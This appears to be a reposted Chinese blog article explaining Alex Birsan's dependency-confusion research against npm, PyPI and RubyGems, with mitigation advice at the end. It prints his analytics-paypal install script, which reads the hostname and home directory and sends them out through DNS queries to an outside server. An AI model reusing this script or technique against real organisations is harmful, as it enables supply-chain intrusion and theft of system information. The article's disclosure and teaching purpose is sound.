利用 Npm 的缺陷,他獲得了 130,000 美元的賞金
最近看到一個(gè)新聞,開眼了。
一個(gè)搞安全的程序員 Birsan, 利用 npm 的設(shè)計(jì)缺陷,成功進(jìn)入了 35 個(gè)公司的內(nèi)網(wǎng)系統(tǒng),這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過(guò) 130,000 美元的賞金。那么他是怎么做到的呢?
一些包管理工具,比如說(shuō) Python 的 pip,Node.js 的 npm,Java 的 maven,可以從開源的倉(cāng)庫(kù)下載軟件包,同時(shí)自動(dòng)管理依賴項(xiàng)。其實(shí)我們都假設(shè)這些軟件包是安全的,事實(shí)上,每個(gè)人都可以制作并上傳自己開發(fā)的軟件,一旦有人不懷好意,上傳一些別有用心的軟件包,你下載后軟件會(huì)自動(dòng)安裝和執(zhí)行,這就相當(dāng)于被黑了。
問(wèn)題是如何讓別人下載呢?開源軟件的代碼是公開的,有問(wèn)題的軟件包被下載的概率很低,前攻擊者會(huì)依靠社會(huì)工程手段或?qū)④浖麨檎CQ易拼寫出錯(cuò)的名稱,安裝時(shí)一旦拼寫錯(cuò)誤,就下載了惡意軟件。這種方式有一定的局限性,只要稍微認(rèn)真點(diǎn),就不會(huì)出錯(cuò)。
而 Birsan 用的是非常隱蔽的方式,就算軟件包的名稱完全正確,也有可能下載到惡意軟件。具體的過(guò)程是這樣的:
Birsan 發(fā)現(xiàn)了 PayPal 內(nèi)部使用的 package.json,這里面有一些軟件包并不在公共倉(cāng)庫(kù)中:
上圖中標(biāo)紅色的部分,是 PayPal 內(nèi)部使用的 npm 軟件包,由公司內(nèi)部使用和存儲(chǔ)??吹竭@一點(diǎn),Birsan 想知道,這些軟件包是私有的,如果在公共 npm 存儲(chǔ)庫(kù)中存在同名的軟件包會(huì)怎么樣?
為了檢驗(yàn)這個(gè)假設(shè),Birsan 開始尋找一些私有內(nèi)部軟件包的名稱,這可以在 GitHub 倉(cāng)庫(kù)或知名公司的 CDN 中的清單文件中找到,這些軟件包在公共開放源代碼倉(cāng)庫(kù)中是不存在的。
然后,Birsan 在開源存儲(chǔ)庫(kù)(例如 npm,PyPI 和 RubyGems)上使用相同的名稱創(chuàng)建偽造項(xiàng)目。這些偽造的項(xiàng)目都是在他的真實(shí)帳戶下完成的,并且有免責(zé)聲明,并聲明此程序包用于安全研究目的,并且不包含任何有用的代碼。
結(jié)果發(fā)現(xiàn),這些包管理工具會(huì)優(yōu)先下載公共存儲(chǔ)庫(kù)上的軟件包,如果不指定軟件包的版本號(hào),則優(yōu)先下載高版本的軟件包。這樣,Birsan 只需發(fā)布與公司內(nèi)部名稱相同的軟件包,就可以成功地對(duì) Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 進(jìn)行攻擊。
那么你可能想知道,如何進(jìn)行攻擊的呢?軟件包管理器,比如 pip,npm,具有預(yù)安裝腳本,一旦下載就會(huì)進(jìn)行安裝,安裝過(guò)程執(zhí)行的代碼就是黑客寫好的代碼,至于這些代碼具體能做什么事情,寫過(guò)程序的人都知道,你可以發(fā)揮想象。鑒于大多數(shù)公司網(wǎng)絡(luò)都被保護(hù)的很好,想滲透沒(méi)那么容易,Birsan 使用的是 DNS 滲透。
下面顯示的代碼就是 Birsan 制作的 npm 軟件包 analytics-paypal(該軟件包現(xiàn)在已從 npm 中刪除)。
- const dns = require('dns');
- const os = require("os");
- const suffix = '.dns.alexbirsan-hacks-paypal.com';
- const package = 'analytics-paypal';
- data = package +
- '__' + os.hostname() +
- '__' + os.homedir() +
- '__' + __dirname;
- data = data.replace(/[^a-zA-Z0-9._]/g,
- function(m){
- return '_' + m.charCodeAt(0).toString(16);
- });
- data = data.match(/.{1,50}/g);
- dns.setServers(['46.101.225.109']);
- id = Math.random().toString(36).substring(7);
- data.forEach(function(chunk){
- dns.resolve(id + '.' + chunk + suffix, 'A',console.log)
- });
該腳本將在 analytics-paypal 依賴項(xiàng)被下載后立即自動(dòng)啟動(dòng),并向 dns.alexbirsan-hacks-paypal.com 發(fā)出 DNS 請(qǐng)求。從 PayPal 系統(tǒng)收到的回叫會(huì)提醒 Birsan,發(fā)出請(qǐng)求的 IP 屬于貝寶 PayPal ,以及用戶名和受感染系統(tǒng)的主目錄。
充分驗(yàn)證這些假冒的軟件包已成功滲透到公司網(wǎng)絡(luò)后,Birsan 隨后將其報(bào)告給這些被入侵的公司,并因此獲得賞金。這些漏洞賞金計(jì)劃讓 Birsan 累計(jì)獲得了 13 萬(wàn)美元的獎(jiǎng)勵(lì)。
那么這些公司都是如何修復(fù)的呢?修復(fù)可能會(huì)比較難,因?yàn)?pip,npm 是開源工具,工具本身存在缺陷,解鈴還須系鈴人,最好的解決辦法就是維護(hù)一個(gè)健康的開源生態(tài),比如給這些工具提供更安全的配置,對(duì)開源倉(cāng)庫(kù)中提交的軟件包進(jìn)行審核等等。
開源工具的缺陷并不是某一公司的問(wèn)題,但可以對(duì)這些缺陷進(jìn)行緩解,比如對(duì)于私有的軟件包,使用前可以進(jìn)行簽名校驗(yàn),確保該軟件包來(lái)自于公司內(nèi)部。
最后的話
我自己使用 pip,npm 時(shí)只是覺得它們?nèi)绱说姆奖?,非常依賴它們,以至于從未懷疑這些工具也存在安全問(wèn)題,所謂最依賴的工具一旦出了問(wèn)題也是最致命的,如果你的公司也存在類似的情況,是時(shí)候做出一些改進(jìn)了。
從 Birsan 的經(jīng)歷中也可以看出,如果你有一個(gè)有趣的想法,請(qǐng)立即去驗(yàn)證它,無(wú)論結(jié)果如何,你都不虛此行。
本文轉(zhuǎn)載自微信公眾號(hào)「Python七號(hào)」,可以通過(guò)以下二維碼關(guān)注。轉(zhuǎn)載本文請(qǐng)聯(lián)系Python七號(hào)公眾號(hào)。